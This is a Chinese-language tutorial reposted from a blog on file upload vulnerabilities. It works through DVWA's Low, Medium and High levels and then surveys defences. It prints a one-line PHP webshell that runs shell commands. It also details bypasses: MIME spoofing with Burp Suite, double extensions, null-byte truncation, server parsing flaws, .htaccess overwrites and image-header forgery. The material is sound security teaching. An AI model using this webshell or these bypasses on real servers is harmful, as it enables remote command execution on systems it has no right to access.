大佬原文地址:https://blog.csdn.net/ski_12/article/details/54669614
文件上传漏洞
文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将webshell上传到服务器中进而执行利用。
DVWA中的文件上传漏洞
首先保存一句话木马为1.php文件:
<?php echo shell_exec($_GET['cmd']);?>
另外对于上传的文件,可在DVWA的服务器中(本人用的是Metasploitable虚拟机)以下路径找到:
/var/www/dvwa/hackable/uploads/
Low级:
先看看源代码:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES[‘uploaded’][‘name’])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。总的可见,此级别没有对上传文件的类型进行任何的过滤,也就是可以随意上传php文件。
将1.php直接上传,然后通过显示的路径进行访问,在路径后要加上cmd参数的whoami命令:
Medium级:
先看源代码:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
较Low级的增加了三个变量分别用于表示上传文件的名字、类型和大小,在if语句中判断上传文件的类型是否为“image/jpeg”和大小是否小于100kb。这里也只是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可:
High级:
源代码如下:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
分析源代码可知,其过滤机制改为判断上传文件的后缀名是否为jpg等,可以通过burpsuite直接在文件名的后面再加jpg后缀名即可绕过:
当然也可以不用burpsuite修改文件名变量而是直接重命名1.php的文件名为1.php.jpg直接上传绕过。
文件头绕过过滤上传webshell:
有些过滤机制是通过截取上传文件的前一部分的字符来进行判断该文件的类型的,这样进行的过滤可有效避免了通过代理来修改文件类型变量的绕过,但是仍有方法可以绕过,就是通过上传一张正常的图片,用代理截断并将文件中用于判断文件类型的数据保留下来、其余部分用一句话木马取代,再修改文件名变量,在本来的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端当作php文件来执行:
另外,在Kali Linux中,可以通过mimetype命令来查看相应文件的文件类型,其是通过文件前面部分的数据来准确判断该文件的类型而不是像Windows那样仅仅通过后缀名来判断,下面是将1.php文件在修改后缀名前后用mimetype判断文件类型的结果:
对于文件上传漏洞,较好的防御机制是在服务器中对于存储上传文件的目录的执行权限进行限制,使其不能执行,从而也不存在相应的漏洞危害。如下例,可通过对uploads目录的权限进行限制,使得之前通过各种绕过上传的文件都无法得到执行,但是有个问题就是不能再成功上传文件了,应该是因为将该目录所有用户的执行权限都限制的原因:
利用:
1、结合几个解析漏洞:
1、直接解析(几乎没有防御):
比如直接上传一个扩展名是.php 的文件,只需要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就行了。
2、配合解析(有一定程度的防御):
可以理解为先将代码注入到服务器上,上传一个带有一句话木马的图片或文件,等待一个解析的配合来实现攻击。
(1)、本地文件包含解析:主要是PHP本地文件包含
(2)、.htaccess文件解析
(3)、Web应用程序解析漏洞以及其原理:
1.Apache 解析漏洞:
解析: test.php.abc(其中abc为任意不属于黑名单且也不属于Apache解析白名单的名称)
描述:一个文件名为x1.x2.x3的文件,Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样 一直往前尝试,直到遇到一个能解析的扩展名为止。
2.IIS 解析漏洞:
解析:test.asp/abc 或 test.asp;abc 名 或 abc/def.php (其中abc、def都为任意文件名)
描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;“会优先按asp来解析;IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串”/任意文件名.php"就会按照php的方式去解析。
3.Nginx 解析漏洞:
解析:abc/def.php 或 abc%00.php (其中abc、def都为任意文件名)
描述:目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/abc.php 的解析漏洞,如原本文件名是test.jpg则可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。
4.解析漏洞总结:
Apache的扩展名顺序解析漏洞:Apache自身的漏洞
IIS的asp 解析漏洞:IIS自身的漏洞
Nginx的%00 解析漏洞:Nginx自身的漏洞
php-cgi的默认配置漏洞:这类以CGI 形式调用php的web 应用程序主要出现在IIS和Nginx;而Apache 通常是以module 的形式去调用php,所以很少出现该类型漏洞。
2、结合文件包含漏洞:
例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>
直接包含该文件会将该文件以PHP来运行:
检测方法:
简单点的方法就是直接上传各种类型的文件,再通过Burpsuite修改各个可以绕过的检测内容来检测。
防御方法:
简单的防御方法为:获取文件扩展名进行白名单对比,然后对文件进行重命名。当然若存在解析漏洞等容易被绕过,具体点的防御方法如下:
1、客户端JavaScript检测:通常为检测文件扩展名)
2、服务端MIME 类型检测:检测Content-Type内容)
3、服务端目录路径检测:检测跟path参数相关的内容
4、服务端文件扩展名检测:检测跟文件extension 相关的内容
(1) 黑名单检测:
1. 文件名大小写绕过:如 AsP,pHp。
2. 名单列表绕过:用黑名单里没有的名单,如 asa 或 cer 等。
3. 特殊文件名绕过:比如发送的 http 包里把文件名改成 test.asp. 或 test.asp (后面为空格),这种命名方式在 Windows系统里是不能直接修改的,需要在Burpsuite等代理中进行修改,然后绕过验证后,会被Windows系统自动去掉后面的点和空格,但也只能用在Windows系统中。
4. 0x00 截断绕过
5. 双扩展名解析绕过攻击:
(1)基于Web服务的解析逻辑:如果上传一个文件名为help.asp.123,扩展名123 不在扩展名黑名单中也没在Apache 可解析扩展名列表中,此时会向前搜寻下一个可解析的扩展名,若搜寻到.php,则会以php 执行。
(2) 基于Web服务的解析方式:如果在Apache的conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg也会以php 来执行。
6. 危险解析绕过攻击:基于Web服务的解析方式:如果在Apache 的conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。
7. .htaccess 文件攻击:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测。
8. 解析调用/漏洞绕过:直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
(2) 白名单检测:
1. 0x00 截断绕过:如test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击
**2. 解析调用/漏洞绕过:**直接配合上传一个代码注入过的白名单文件,再利用解析调用/漏洞
3. .htaccess文件攻击:无论是黑名单还是白名单都可以直接攻击.htaccess 文件
如果PHP 安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。
5、服务端文件内容检测(检测内容是否合法或含有恶意代码) :
(1)文件幻数检测:
主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值。
(2)文件相关信息检测:
图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息,结构如下:
GIF89a
(…some binary data for image…)
(… skipping the rest of binary data …)
(3)文件加载检测:
一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。
对渲染/加载测试的攻击方式:代码注入绕过,可以用图像处理软件对一张图片进行代码注入,但文件结构是完整的,渲染测试基本上都能绕过。用winhex查看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区。
对二次渲染的攻击方式:攻击文件加载器自身,常见的就是溢出攻击,上传恶意文件后服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode比如access/mdb 溢出;二次渲染相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。